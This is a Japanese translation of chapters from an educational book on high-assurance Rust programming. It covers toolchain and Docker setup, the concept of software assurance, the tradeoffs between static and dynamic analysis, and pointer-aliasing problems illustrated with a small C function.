tree hello_world を実行すると、次のディレクトリレイアウトが表示されるはずです:

hello_world/
├── Cargo.toml
└── src
    └── main.rs

1 directory, 2 files

Cargo.toml はビルド設定ファイルです。 このプログラムをコンパイルするために編集する必要はありません。 唯一のソースファイルである main.rs の内容を見てみましょう:

cd hello_world
cat src/main.rs

従来の “Hello, world!” プログラムがあらかじめ用意されています:

fn main() {
    println!("Hello, world!");
}

コンパイルして実行するには、hello_world ディレクトリ内から次を使用します:

cargo run

コンソールに挨拶が表示されれば、動作するツールチェーンを入手できています!

好みの IDE に rust-analyzer を追加する

rust-analyzer3 は、Rust 向けの Language Server Protocol4 の実装です。 複数のエディタや統合開発環境(IDE)と統合され、次のような便利な機能をサポートします:

  • 構文/警告/エラーのハイライト
  • コード補完
  • 定義への “Goto” 機能
  • シンボル名の変更

このようなワークフロー支援機能は、生産性を高めることができます。 言語の初心者にとっても、大規模なコードベースで作業するプロフェッショナルにとっても有用です。 必須ではありませんが、rust-analyzer または同等のもの(いくつかの商用 IDE は同様の Rust サポートを提供しています)をインストールすることを強く推奨します。

rust-analyzer を始めるには、そのマニュアルを参照してください:

任意の Docker ルート

Docker1 は広く使われているコンテナ化ツールです。 コンテナを使うと、環境全体を再現可能かつ信頼性の高い方法で構築・設定できます:

  • 産業界では、コンテナはネットワーク接続されたアプリケーションとその依存関係をまとめてパッケージ化し、クラウドインフラストラクチャへデプロイできる状態にします。

  • 学術界では、コンテナはプロトタイプや解析をまとめ、研究結果を独立して再現できるようにします。

  • オープンソースソフトウェアでは、コンテナはプロジェクトのビルドを自動化し、現在および将来のコントリビューターにとって参加の障壁を下げます。

私たちの動機は、オープンソースのユースケースに最も近いものです。 特定のプロジェクトをビルドするためのコンテナをセットアップするのではなく、Rust プロジェクトの開発向けに事前セットアップされたコンテナを使用します。

でも、学びたいのは Rust であって Docker ではありません!

現代のソフトウェア開発には、複数のツールやプロセスが関わります。 Docker は、特定のプログラミング言語が解決する問題とは直交する問題を解決します。

本書の文脈では、サンプルを実行し、ハンズオンチャレンジを完了するための、信頼できるサポートされた環境を提供してくれます。 「自分のマシンでは動いた」問題はありません。Windows、Linux、MacOS のいずれを実行していても、同じ手間のかからない体験が得られます。

少なくとも、既存の Docker コンテナをビルドして実行する方法を知っておく価値はあります。 それが本書で扱う Docker の範囲です。 高度な docker の使い方や Dockerfiles の書き方は扱いません。 また、以下の短い説明を除き、Docker の内部についても扱いません。

Docker は実際にはどのように動作するのでしょうか、一言で言うと?

従来の仮想マシン(VM)は、複製によって分離を提供します。つまり、システムのカーネルの上で、[Type 25] ハイパーバイザーの上で、OS カーネル全体を実行します。 これはかなり遅くなります。ホストとゲストという 2 つの OS カーネルに加え、接着剤となるソフトウェアを実行することになるためです。

対照的に、Linux ホスト上の Linux Docker コンテナは、ホストカーネルの特別な機能(“control groups”6 と “namespaces”7)を活用して、あたかも別のファイルシステム上に存在するかのようにコンテナを分離します。 カーネルの複製はありません。

VM と比較すると、分離されたアプリケーションをより高速に実行でき(スループット)、かつ/または単一の物理マシン上により多く収めることができます(密度)。

本書の Docker コンテナを始める

Docker のプラットフォーム固有のインストール手順はこちらにあります:

本書の Dockerfile はこちらにあります:

お好みの IDE には、コンテナーへの接続や管理を行うためのプラグインが用意されている場合があります。 たとえば、VSCode には公式の拡張機能があります:

チェックポイント

先に進む前に、上記の “Hello, world!” プログラムのコンパイルと実行に成功していることを確認してください。 ネイティブ環境でもコンテナー内でも構いません。

次の章では、より興味深いプログラムを書いていきます。読み進めながら作業するには、動作するツールチェーンが必要になります。


  1. Docker の概要 Docker (2022年閲覧)。 ↩2

  2. https://github.com/tnballo/high-assurance-rust/blob/main/Dockerfile ↩2

  3. rust-analyzer. rust-analyzer (2022年閲覧)。

  4. Language Server Protocol. Microsoft (2022年閲覧)。

  5. ハイパーバイザー: 分類。Wikipedia (2022年閲覧)。

  6. Linux コンテナーについて知っておくべきすべてのこと、パート I: Linux Control Groups とプロセス分離。Petros Koutoupis (2018)。

  7. Linux コンテナーについて知っておくべきすべてのこと、パート II: Linux Containers (LXC) を扱う。Petros Koutoupis (2018)。

ソフトウェア保証


米国国防総省(DoD)は、ソフトウェア保証を次のように定義しています1

… ソフトウェアが意図したとおりに機能し、ソフトウェアの一部として意図的または非意図的に設計または挿入された脆弱性が存在しないことに対する信頼の度合い。

これは簡潔な定義ですが、掘り下げるべき奥行きがあります。 政治的イデオロギーや国籍に関係なく、この定義は特定のシステムのセキュリティについて考えるための鋭いレンズです。

脆弱性:セキュリティ欠如の根本原因

これまでにプログラムを書いたことがある人なら、バグという考え方にはおそらく非常になじみがあるでしょう。これは、プログラムが誤動作する原因となる誤りです。 プログラムに存在するバグの一部は脆弱性である場合があります。つまり、攻撃者に悪用される可能性があるということです。 違いを明確にするために、2つのシナリオを対比してみましょう。

  1. 有効な認証情報でログインできない場合は?

    • 認証が壊れています。
    • 正規ユーザーを含め、誰もデータにアクセスできません
    • それはバグであり、ソフトウェアが正しく動作していません。
  2. 無効な認証情報でログインできる場合は?

    • 認証が壊れています。
    • 攻撃者を含め、誰でもデータにアクセスできます
    • それは、機密データの閲覧や変更に悪用される可能性のある脆弱性です。

DoDの定義は、バグがないことを「ソフトウェアが意図したとおりに機能する」という表現に包含していますが、セキュリティに関連する目標は、「脆弱性が存在しない」ソフトウェアへ近づくことです。 本書はその両方を扱います。 私たちは、堅牢でセキュアなシステムを構築したいのです。

率直に言えば、脆弱性が完全に存在しないソフトウェアや、絶対的にセキュアなソフトウェアはありません。 口語的に言えば、セキュアなシステムとは、攻撃のコストがあらゆる資産の価値を大きく上回るシステムです。 資産とは、ハードウェア、ソフトウェア、機密情報など、保護すべきシステムのあらゆる部分を指します。 攻撃を不可能にすることはできません。ただ、非現実的にすることはできます。

セキュリティ実務者として、私たちはソフトウェアエンジニアがバグを最小化しようと努めるのと同じように、脆弱性を兵器化最小化しようと努めます。 脆弱性が少なければ、現実的な攻撃も少なくなります。 しかし、後の章で取り上げる形式検証でさえ限界があります。 ハードウェアとの相互作用やソフトウェアコンポーネント間の相互作用はあまりにも複雑であり、任意のシステムが考え得るすべての脅威モデルに耐えられると誰かが完全に確信することはできません。

だからこそ保証

ここで「信頼の度合い」が重要になります。 一連のツールとプロセスを適用することで、その一部は本章で試しますが、ソフトウェアのセキュリティに対する信頼を築くことができます。 大まかに言えば、これらは次の3つのカテゴリのいずれかに分類されます。

  • 静的保証 - 開発中および/またはテスト中に、コードを実行せずに行うチェック。

  • 動的保証 - テスト中に、プログラムを実行して行うチェック。

  • 運用保証 - ソフトウェアが本番環境で実行されているときに取られる対策。

この文脈で「本番環境」とは何を意味するのでしょうか?

情報システムが顧客にサービスを提供する環境です。 あなたが行うすべてのセキュリティ上の判断は、この環境の現実に基づいているべきです。

Webアプリケーションの場合、バックエンドコンポーネントについては「クラウド」(さまざまな地理的場所にプロビジョニングされた仮想マシン)を意味するかもしれません。そしてフロントエンドコンポーネントについては「クライアント」(アプリやブラウザを実行するスマートフォンのような、エンドユーザーが所有するハードウェア)を意味するかもしれません。

組み込みシステムの場合、本番環境は多種多様な冒険的な場所になり得ます。 自動車のケースでは、センサーとステアリングの両方に接続された、車のダッシュボード内の小さなコンピューター上です。

各カテゴリの理由と方法を理解するための概念的基盤を構築し、本書の大部分をその知識を実践的に適用することに費やします。 私たちはコードを書き、ツールを使うことに焦点を当てているため、高レベルのソフトウェアエンジニアリング2方法論は扱いません。 これには次のものが含まれます。

  • システム開発ライフサイクル(SDLC3): 任意の情報システムを計画、作成、テスト、デプロイするための一般的なプロセス。

  • Microsoft Security Development Lifecycle(SDL4): ソフトウェアセキュリティ脆弱性の発生可能性と保守コストを低減するためのフレームワーク。

このような方法論は価値のある設計図であり、本章の概念をそれらに対応付けることもできますが、ここでは議論しません。プロジェクトレベルのベストプラクティスが存在し、組織のリーダーシップとコミュニケーションするための共通言語を提供できることだけ知っておいてください。

DoDの定義では、一般にバックドアと呼ばれる、「意図的に…設計または挿入された」脆弱性という考え方にも言及しています。 私たちが書くコードは、Rustの標準ライブラリ5以外には、ごく少数の十分に信頼された依存関係しか持たないため、バックドアの検出については気にしません。 ただし、本章ではこのトピックをより直感的に感じられるように、単純なバックドアを目にすることになります。

Rustは、システムプログラミングの制約下で前例のないレベルの保証を提供するため、有望なセキュリティ技術です。 Rustコンパイラは、俗に「メモリ破壊バグ」と呼ばれる悪質な種類の脆弱性が存在しないことを証明できると同時に、同じ保証を提供できない言語のベアメタル性能に匹敵します。 次章ではメモリの仕組みと安全性を深掘りしますが、本章に入るにあたり、改めて強調しておく価値があります。

初めての高保証Rustプログラム

理論は基盤ですが、成長には実践的な経験が必要です。 さっそく始めましょう。 本章の後半では、Rustによる高保証システムプログラミングを初めて体験します。 200行未満のコード(テストを含む)で、次のことを行います。

  • ほぼあらゆる組み込み環境で実行可能な小さな暗号ライブラリを実装する。

  • 公式にリリースされたテストベクターを使用して実装を検証する。

  • 動的テストが失敗する箇所を理解するために、素朴なバックドアを挿入する。

  • コマンドラインフロントエンドを追加し、ライブラリを使ってローカルファイルを暗号化できるようにする。

行数はごくわずかですが、私たちのツールはモジュール化されたシステムになります。 信頼できるコンポーネントで構成されます。

私たちの200行とは、あの緑色のボックス、すなわち安全なRustコンポーネントのことです。 どちらのコンポーネントも、メモリ安全性に関する保証を備えています。 テスト方法の都合により、暗号化ライブラリは論理的正当性の証拠も備えています。

サードパーティライブラリのメモリ安全性検証

Rustプロジェクトでは、オプション属性 #![forbid(unsafe_code)] を有効にできます。 これにより、単一のバイナリまたはライブラリの境界内で、unsafe の使用がコンパイル時エラーになります。

サードパーティの #![forbid(unsafe_code)] 依存関係をソースからビルドすると、外部エンティティから調達したコードがメモリ安全であることを、コンパイラが自動的に検証できます。 コンパイラ自体にバグがない限り。

しかし現実世界のチームは、自明でないシステム内の実行可能コードの1バイト単位すべてを検証できると期待することはできません。 その検証がメモリ安全性のためであれ、何らかの別の性質のためであれ同じです。 素早く出荷するために、私たちは次のようにします。

  • フロントエンドを構築するために、Rustの標準ライブラリと広く使われているサードパーティライブラリに依存します。

  • フロントエンドを構築するために、libc、つまりC標準ライブラリ(動的メモリアロケータ、POSIX APIなど)に推移的に依存します。

  • エンドユーザーにインタラクティブな機能を提供するために、成熟したオペレーティングシステムに推移的に依存します。

私たちの目標は、自分たちが書くコードから高水準の設計上の欠陥、ロジックバグ、メモリエラーを排除することです。 攻撃者にとって唯一の現実的な選択肢が、標準ライブラリ、有名なサードパーティ依存関係の最新版、あるいはOS自体の脆弱性を見つけることだけであるなら、私たちのシステムを侵害するためのコストはおそらく高いでしょう。

しかし、それは本当に高保証なのか?

いいえ、私たちは意図的に譲歩しています。破られている暗号化アルゴリズムであるRC4を使うことです。 理由は2つあります。

  • ソース行数を少なく保つため。RC4は単純なので、例として機能します。

  • この章のチャレンジに取り組む動機を与えるため。このチャレンジでは、モジュール式CLIツールを最新の暗号化バックエンドに切り替えることを求めます。

RC4はかつて、SSL/TLSやWEPのように、私たちの社会が依存するプロトコルの一部でした。 しかし1987年の登場以来6、複数の弱点が発見され、いくつかの実用的な攻撃が実証されています。

これは重要な公理の縮図です。保証は動く標的です。 セキュリティ環境が変化するにつれて、要件や講じる対策も変わらなければなりません。

動機

先に進む前に、少し立ち止まりましょう。そもそも、なぜソフトウェア保証を優先するのでしょうか?

別のDoDの声明がそれをうまく要約していると言えるでしょう。 安全でないソフトウェアの代償に関する以下の説明では、“mission critical” を「ビジネスクリティカル」に置き換えて読んでも構いません1

結果: 敵はミッションクリティカルなデータを盗んだり改ざんしたりする可能性があり、ミッションクリティカルなプラットフォームの機能を破損させたり拒否したりする可能性がある

サイバースペースへようこそ。 このフロンティアを安全にしましょう!

学習成果

  • 静的解析と動的解析のトレードオフを理解する
  • 運用上のデプロイ対策の役割を理解する
  • 最初の興味深いRustプログラムを書く: 小さな暗号化ツール
  • 静的リンクされた実行可能ファイルのビルド方法を学ぶ(ほぼすべてのLinuxクライアントで動作)

  1. DoDソフトウェア保証イニシアチブ. Mitchell Komaroff, Kristin Baldwin(2005年、パブリックドメイン) ↩2

  2. ソフトウェアエンジニアリング知識体系ガイド. Pierre Bourque, Richard E. Fairley(2014年)

  3. システム開発ライフサイクル. Wikipedia(2022年アクセス)。

  4. Microsoftセキュリティ開発ライフサイクル (SDL). Microsoft(2021年)

  5. Rustの標準ライブラリは、どんな大規模なソフトウェアと同様に、脆弱性がないことが保証されているわけではありません。以前に発見された2つの脆弱性には、unsafe コードにおけるメモリ安全性エラー7と、Time-of-check-to-time-of-use(TOCTTOU)競合状態8があります。しかし std は公式のRustチームによって保守されている広く使われているコンポーネントなので、一般的にはサードパーティパッケージよりも信頼できます。特にバックドアに関してはそうです。

  6. 偶然にも、RC4の発明者であるRon Rivestは、第7章で実装するデータ構造であるスケープゴート木の共同発明者でもあります。スケープゴート木はRC4ほどの人気を得ることはありませんでしたが、確かに時の試練に耐えてきました。

  7. CVE-2018-1000657の分析: RustのVecDeque::reserve()におけるOOB書き込み. GeorgiaTech SSLab(2022年アクセス)。

  8. 標準ライブラリのセキュリティアドバイザリ (CVE-2022-21658). The Rust Team(2022年アクセス)。

静的ツールと動的ツール

ミッションクリティカルなアプリケーションの作者として、私たちは自分たちのコードにバグが少なく、脆弱性はたとえ存在するとしてもさらに少ない、と確信できなければなりません。 信頼性にとってセキュリティは必要ですが、それ自体だけでは十分ではありません。 私たちにはその両方が必要です。 しかし私たちは、不完全な要件群を相手に、時間やリソースの制約下でソフトウェアを書いています。 自尊心はさておき、私たちは自分たちの確信をどのように正当化できるのでしょうか。

その答えは、定量的に、です。 プロセスとツールを通じて、客観的な証拠の断片を十分に蓄積することによってです。 学術界では、これを検証と呼びます。 しかし、研究カンファレンスで称賛されるプロトタイプが、現実世界で大規模に利用できるほど成熟していることはめったにありません。 そのため産業界では、検証技術の実用的なサブセットを採用し、それをテストというラベルの下に置いています。

テストの目標は、ソフトウェアというコインの両面の一貫性を検証することです。

  • 仕様: ソフトウェア製品に対するビジネス上重要な要件。通常は平易な英語で表現されますが、「ビジネスロジック」はツール固有の形式(アサーション、事前/事後条件、型状態など)でエンコードできます。

    • 平易な英語の例: 当社の Web アプリケーションは、ネットワークベースの攻撃者からユーザーのデータを保護しなければならない。
  • 実装: ソフトウェア製品の設計と動作を、実際のコードとして表現したもの。

    • 例: その Web アプリケーションは、業界標準の Transport Layer Security (TLS) ライブラリである OpenSSL1 を使用して、ネットワーク経由で送信されるデータを暗号化し(機密性)、転送中にデータが破損していないことを検証し(完全性)、データの送信者/受信者の身元を検証します(認証)。

仕様と実装が整合していることを示せるなら、私たちは確信を得られます。 ここで、私たちのプログラムを解析するツールが登場します。 すべての解析ツールは、小さな証拠の断片、つまり仕様と実装のごく小さな一致を出力します。 それらは、コードレビューやセキュリティ評価のような手作業のプロセスの代替ではありません。熟練した人間の「頭脳」には及ばないからです。 ツールはむしろ補助であり、コストを削減し、スケールを容易にします。

人間と違って、ツールは容赦なく勤勉です。疲れたり、気が散ったりすることがありません。 また、たとえ偽陽性の場合(存在しないバグを報告する場合)であっても、完全に一貫しています。 メモリ安全性違反のような特定のセキュリティ問題を検出するうえで、一貫したツールは保証を達成する最善の方法です。

Rust は完璧には程遠いものです。 しかし、信じられないほど現代的なコンパイラを備えているため、商業的に実用可能なプログラミング言語と、特定のランタイム信頼性プロパティを検証する洗練されたツールとの境界を曖昧にしています。 型システムがその二つを橋渡しし、ツールチェーンがその恩恵を民主化します。 私たちは、確信を抱かせる次のような問いに、実証可能な形で答えることができます。

  • 私のプログラムは実行時にメモリエラーに遭遇することがあり得るのか。

    • Rust のコンパイラは、私たちのコードを初めてビルドするときにその答えを提供します。
    • これは静的解析です。プログラムは一度も実行されていません。
    • その答えは、プログラムが到達し得る現実的な状態の大半2に適用されます。
    • これは*安全性プロパティ3*です。プログラムが悪い状態に到達し得ないことをチェックします。
  • この特定の入力が与えられた場合、私のプログラムは正しい結果を生成するのか。

    • Rust の公式パッケージマネージャーである cargo は、ユニットテストの実行時に答えます。
    • これは動的解析です。プログラムの一部が具体的な入力で実行されました。
    • その答えは、あなたがテストした状態と、それらに意味的に近い状態にのみ適用されます。
    • これはライブネスプロパティです。プログラムが良い状態に到達することをチェックします。

メモリ安全性に関する問いはコンパイル時に静的に答えられ、入出力の正しさに関する問いは実行時に動的に答えられることに注目してください。 静的/動的という二分法は、解析ツール設計の核心にあります。

静的解析と動的解析は、対立しながらも補完し合う力という点で、一種の「陰と陽」4です。 その二元論的な性質にふさわしく、それらは異なるアルゴリズムと技術に支えられた、対照的な長所と短所の集合を提供します。

ユニットテストとは何か。

プログラムのサブセットに対する、手書きだが自動実行可能なチェックです。 通常は個々の関数を呼び出し、戻り値または副作用を検証することで実装されます。

ユニットテストは誤り得るものであり、多くの場合不完全ですが、より高い意味的洞察があるため、自動化アプローチの大多数よりも優れています。 動的解析に入るときに、ユニットテストを一通り見ていきます。

実務エンジニアのための全体像

コンピューターサイエンスの領域に入り込みすぎる前に、実務エンジニアの視点から解決空間を分解してみましょう。 私たちは、テストプロセスを迅速化するか、スケールさせる必要があるために、ツールに関心を持っていると仮定します。 大まかに言って、今日の静的ツールと動的ツールをどのように分類できるでしょうか。

一つのアプローチ5は、X 軸に静的 vs. 動的、Y 軸に既知のバグ vs. 未知のバグを置いた四象限です。

番号順に、左から右、上から下へと象限をたどっていきましょう。 地平線より上では、未知のバグを見つけられます。 これは、既存のデータを必要とせず、まったく新しいバグを発見することを意味します。

  1. 静的、未知のバグ (S, U) - 既存のソースコードまたはビルド成果物を取り込み、解析を使ってバグを見つけたり、プロパティを証明したりします。プログラム自体は実行しません。

    • ツールの例: rustc(本書全体)。
  2. 動的、未知のバグ (D, U) - 具体的なテストケースを生成し、これらの生成された入力でプログラムを実行します。実行時の振る舞いからフィードバックを収集する可能性もあります。

    • ツールの例: libFuzzer(第12章)。

地平線より下では、シグネチャデータがすでに利用可能な、事前に発見されたバグだけを検出できます。 つまり、既知のバグです。

  1. 静的、既知のバグ (S, K) - ソフトウェアシステムの構成を解析し、依存関係に既知の脆弱なバージョンや既知のバグのある設定がないかをチェックします。

    • ツールの例: cargo-audit(第3章)。
  2. 動的、既知のバグ (D, K) - 稼働中の資産またはサービスに問い合わせ、それらのバージョンや設定をフィンガープリントします。

    • ツールクラスの例: ネットワーク脆弱性スキャナー(本書では扱いません)。 どのアプローチであっても、報告されたバグの一部は、アプリケーションやサービスというより広い文脈において、悪用可能な脆弱性である可能性があります。 したがって、一般的なソフトウェアセキュリティのワークフローは次のようになります。
  3. ツールから結果を収集する。

  4. それらのレビューをトリアージする。

  5. 優先度の高い脆弱性の修正を開発する。

  6. パッチ適用済みの製品をテストする。

  7. 修正を本番環境にデプロイする。

このサイクルをより速く進められるほど、より良くなります。 少なくとも、機能追加のペースに追随できる必要があります。 理想的には、セキュリティテストは新機能のロールアウトを支援し、既存の攻撃対象領域をプロアクティブに堅牢化できます。

では、未知のバグを見つけるツールがあるなら、既知のバグをチェックするツールはそもそもなぜ必要なのでしょうか? 第1象限と第2象限のツールを使って、存在するすべてのバグを見つけるだけではだめなのでしょうか?

残念ながら、答えはノーです。 多くのバグクラスは、どのような種類のツールや分析を使っても自動的には検出できません。 その理由については、後のセクションで制限について説明するときに取り上げます。 ほとんどのバグは熟練した人間によって発見され、第3象限と第4象限のツールが検出できるシグネチャに変換される必要があります。 繰り返しますが、ツールはスケールのための補助であり、知性の代替ではありません。

まとめ

ソフトウェア保証には「信頼の水準」が伴います。 テストは、ビジネスに関連する仕様と、システムまたは製品の特定の実装が一致しているという信頼を強化します。

静的解析は、プログラムを実行せずにそのプログラムについて推論するもので、あるバグクラスが存在しないことを証明するのに適している傾向があります。 しかし、そのクラスは限られています。 多くの場合、偽陰性はありません(解析は何も見逃しません)。

動的解析は、プログラムを実行するもので、少なくとも1つのバグを見つけるのに適している傾向があります。 しかし、それはどのような種類のバグでもあり得ます。 多くの場合、偽陽性はありません(解析結果は真です)。

どちらのアプローチでも、既知のバグ(例: 既存のCVE)と未知のバグ(例: ゼロデイ)を見つけることができます。 頭が冴えているうちに、まず静的解析に取り組みましょう。 これは、この2つのうち理論的により複雑な方です。


  1. OpenSSL。The OpenSSL Project(2021)。

  2. 「ほとんど」は、その解析が推論できる範囲外のドメインを除外しています。これは、電力やタイミングに関するハードウェアサイドチャネル(ハードウェアと物理世界との相互作用に関する何かが脆弱性を生み出す場合)のようにモデル化が難しいためかもしれません。あるいは、解析を行うコード内のバグやその設計上の欠点によって、推論可能なドメインに制限が生じるためかもしれません。 完全に万全なものはありません。絶対的なセキュリティは存在しません。

  3. ここでいう「安全性プロパティ」は、私たちの問いが対象としている仕様の種類を分類するために使用される一般的な用語です。メモリ安全性は、安全性プロパティの具体例の1つにすぎません。

  4. 陰陽。Wikipedia(2022年アクセス)。

  5. CSE545 Week 12: 6 Reasons to Love Fuzzing。David Brumley(2020)。

静的保証(1/2)

静的解析は混乱を招くことがあります。 あるプログラムをテストしたいとします。それを P と呼びましょう。 P を一度も実行しないなら、それが何をするのか、あるいは何をできるのかを、いったいどうやって知るのでしょうか?

静的解析ツールは、特定の問いに答えることを単純化する間接化の層を使うことがよくあります。 それらは P の構成要素を、解析固有の抽象ドメインに対応付けます1。 この表現は、P の1つ以上の性質を反映するように設計されています。 それを解析することで、P について結論を導き出せます。

実行可能ファイルをビルドするためにコンパイラーを使ったことがある、あるいはスクリプトを実行する前にインタープリターに構文をチェックさせたことがあるなら、あなたは静的解析が実際に働いているところを目にしています。

解析それ自体がプログラム(あなたが選んだコンパイラーやインタープリターの内部にあるもの)であり、独自の特殊なアルゴリズムを実行します。それを「解析器」Q と呼びましょう。 私たちは Q を実行して結果を得るので、P(その結果が適用される対象)を実行する必要はありません。 これは静的解析を理解するための、[皮肉にも動的な] 1つの方法です。

具象 vs. 抽象:

動的解析がプログラムを実行することで一連の具象状態を観測するのに対し、静的解析は可能な抽象状態を要約します。 各抽象状態は、一連の具象状態を表します。

プレイヤーが1から10までの数(両端を含む)を選ぶ、単純な「数当てゲーム」プログラムを想像してください。 プレイヤーが 7 を入力すると、プログラムは you win! と出力します。 それ以外の場合は you lose と出力します。

プレイヤーが 3 を入力した実行に対する動的解析では、内部変数 x3 に設定され、分岐の片側が選ばれ、対応する you lose 出力が行われることを観測します。 これらはすべて具象イベントです。

ある種の静的解析2なら、このプログラムには2つの抽象状態があると結論づけるでしょう。すなわち、x == 7 の場合に you win! 出力へ至る状態と、x != 7 の場合に you lose へ至る状態です。

静的プログラム解析における課題

ここでは、未知のバグを見つけるための静的解析(前の図の左上の象限)について話していると仮定します。 このユースケースに適用すると、静的なアプローチにはトレードオフがあります。 一般的に言えば、次のとおりです。

  • 長所: ドメインから導かれた結論は、プログラムのすべての可能な実行に適用できる場合があります。つまり、あらゆる可能な入力に対して成り立つ可能性があるということです!これは信頼度を最大化するのに役立ちます。

    • 静的解析は、最良の場合、特定のバグクラスが存在しないことを証明できます。
  • 短所: 実物ではなく抽象表現を使っているため、静的解析の中には過大近似したり、さらに悪いことに停止しなかったりするものがあります3 4

    • 過大近似は偽陽性の結果を生みます。つまり、解析の限界により、見つかったバグの多くが本物のバグではないということです。誤った結果のバックログを抱えることは、忙しいエンジニアリングチームの足かせになります。

    • 停止しないことは、解析が決して結果を出力しないことを意味します。これは「状態爆発」、つまり解析が推論しようとしている問題の複雑さが組み合わせ的に増大することが原因で起こる場合があります。永遠に回り続けるのを避けるため、多くの商用ツールは近似によって複雑さを低減します。これもまた、偽陽性のリスクを伴います。

停止するほど実用的でありながら(状態爆発がなく)、偽陽性を一切生み出さないほど賢い(過大近似がない)静的解析アルゴリズムを設計することは、驚くほど多くの場合、不可能です。 「現在の知識と計算能力では不可能」という意味ではありません。 その問題が数学的に決定不能であるという意味で、証明可能に不可能なのです5 6

  • 決定不能とは、任意のケースに対して正しい yes-or-no の判定を下せるアルゴリズムは、今後決して存在しないということです。

よい知らせがあります。アルゴリズム設計者は、賢明なトレードオフを選ぶことができます。 時には、許容できる程度の過大近似を受け入れることを意味します。 また別の時には、規則、制約、仮定、注釈を導入することを意味します。すべては、より精密な解析を実用的にするためです。

Rust も例外ではありません。 この言語はプログラマーに一定の制約を課します。 これらの制約は Rust の学習を難しくし、それによって可能になる解析はコンパイル時間の鈍化を引き起こすことがあります。 チームによっては、それらのトレードオフを受け入れられない場合があります。

すべての静的解析ツールにトレードオフが必要な理由について大まかな直感を身につけられれば、将来出会うどんな静的ツールや技術についても推論できるようになります。 高額なライセンス費用のかかるプロプライエタリな静的解析器も含めてです。 そこで、実践的な文脈で制限を探ってみましょう。ポインター解析です。

ケーススタディ: ポインター解析

ポインター解析(別名「points-to」解析または「may-alias」解析)について、非常に高いレベルで説明します。 そのため、big-step semantics7 を用いた Steensgaard のアルゴリズム8 の解説は行いません。 私たちの目的は、プログラミング言語(PL)形式論9 の「記号のスープ」に溺れることではなく、実践的な直感を築くことです。

なぜこの特定の種類の静的解析を見るのでしょうか? ポインター解析は、実世界のメモリ安全でないシステムコードに対して性質を検証する際の課題を示す典型例です。 この議論は、Rust が静的に解決する深刻な問題を深く理解する助けになります。 また、この言語の厳格な規則の根拠を理解する助けにもなります。

ポインターとは何か?

C や C++ を書いたことがないなら、おそらく「生ポインター」の恐怖から守られてきたことでしょう。 しかし、Go や Java のような言語でさえ nil/NULL ポインターに対して例外を投げます(Rust はこの「10億ドルの過ち」10を修正します!)。C 系言語の場合を見てみましょう。

ポインターは、メモリ内の場所のアドレスです。 通常、ただし常にではありませんが、そのメモリは「仮想」です。つまり、マシン上の物理メモリ(CPU キャッシュ、RAM、HDD など)の上にある抽象化です。 機械的には、アドレスは符号なし整数として表現されます。

ポインターは一般に、データ(たとえば配列、構造体、オブジェクト)へ「参照によって」アクセスするために使われます。 これは、潜在的に大きなオブジェクトをコピーする必要がないことを意味します(別名「値渡し」)。 ポインターは従来のシステムプログラミングにとって重要な道具です。 メモリの効率的な利用を可能にします。

しかし、ポインターは諸刃の剣でもあります。 ポインターは、壊滅的な誤用が驚くほど簡単です。 ポインター演算における off-by-one エラーは、誤ったデータを読み取ってもそれに気づかないことを意味し得ます。無効なポインターにアクセスしようとすると、良くてもクラッシュです。攻撃者がポインターの値を設定できるなら、あなたのプログラムは悪用可能かもしれません。 「足を撃つ銃」だと考えてください。

ポインター解析には1つの目標があります:

  • 各ポインターが実行時にどの変数やオブジェクトを指す可能性があるかを判定する。

その情報があれば、データがどこから読み取られる可能性があるか、どこに書き込まれる可能性があるかがわかります。 「可能性がある」とするのは、プログラムの実行ごとに異なる場合があるためです。 あらゆる潜在的な実行を代表する可能性の集合が必要です。 この情報により、プログラムについて強く、信頼感を与える主張を行えます。

すべてを欺く一行

その目標を念頭に置いて、次の1行のC関数を考えてみましょう11:

void incr(int* a, int* b) {
    *a += *b;
}

この一見無害な小さな関数は、羊の皮をかぶった狼です。 この関数がより大きなプログラムの一部である場合、ポインター解析では ab が同じ整数を指す(別名「エイリアス」)かどうかを判断できません。 解析結果は不確定になります。つまり、パラメーターは「エイリアスするかもしれないし、しないかもしれない」と結論づけます。 典型的な過大近似です。

Cを見るのはこれが初めてかもしれないので、ここで何が起きているのかを少し分解してみましょう。

  • incr関数名で、increment の略です。この関数は何かの値を増やすのだろうと推測できます。

  • 関数パラメーターは括弧の中に現れます。この関数は ab という2つの引数を取ります。どちらもメモリ内のどこかに格納された整数へのポインターです。

    • 関数シグネチャ内の * 演算子はポインターを表します。

    • したがって int* は「整数へのポインター」を意味します。

  • 戻り値の型である void は、この関数が何も返さないことを示します。したがって、何らかの「副作用」(プログラム状態の更新)を持つのだろうと推測できます。

  • 関数本体は、ab が指す整数それぞれの現在値を(メモリから)読み取り、int b の値を int a に加算し(ポインター加算ではなく整数加算)、その合計で int a を更新します。

    • *a += *b;*a = *a + *b; の省略形で、セミコロンで終わる文です。

    • ここでは、シグネチャ内とは異なり、* 演算子は「ポインターをデリファレンスする」、つまりその参照先の値を読み取ることを意味します。

    • *+ より優先順位が高く、読み取りが先に発生することを意味します。ポインター算術では優先順位の間違いが厄介になることがあります。

incr を呼び出す前に、int a の値が 40int b の値が 2 だとします。 ポインター *a*b は、それぞれメモリ内の対応する整数を次のように指します。

*a は 40 を指し、*b は 2 を指す

incr(a, b) を呼び出すと、int bint a に加算されます。したがって呼び出し後は、次のようになります。

*a は 42(インクリメント後)を指し、*b は 2 を指す

それは「慣用的な」Cコードですか?

いいえ。整数は通常、値渡しされます(整数へのポインターではなく、整数そのもの)。 整数はCPUのスクラッチ用メモリの小さな領域、つまり「レジスタ」にきれいに収まるため、そのほうが効率的です。 それでも、私たちの incr 関数は、参照されたデータを操作する日常的なCコードを代表しています。 これから導く結論は広く適用できます。

では何が問題なのでしょうか?

構文を理解してしまえば、incr 関数は非常に単純です。2つの数値を足し合わせるだけです。 なぜこれがポインター解析の実践にとってそれほど大きな課題なのでしょうか?

これらの「生の」(制約のない、という意味12)ポインターは、2つの自明でない複雑さをもたらします。

  • 1. 決定不能なエイリアシング: 2つのポインターが同じメモリ位置を参照している(エイリアスしている)とします。その場合、a をインクリメントすると b もインクリメントされます。これはプログラマーが意図したことではない可能性が非常に高く、この関数が行うことを変えてしまうエッジケースです。しかし、これが起きないことを証明することはできません5。スケーラブルで正確なポインター解析は、依然として未解決の研究課題だからです。

    • 含意: 追加のコンテキスト(incr が呼び出されるすべての場所、別名「コールサイト」など)が与えられても、この関数が実行時に何をするかについて詳細な主張を行うことはできません。以下に示す望ましくないケースは、どのツールでも正確に検出できません。

    • 根本原因: 解析領域での過大近似です。ポインター解析の設計者は、結果の精度について意識的なトレードオフ(「エイリアスするかもしれないし、しないかもしれない」という結論を許容するなど)を行う必要があります。

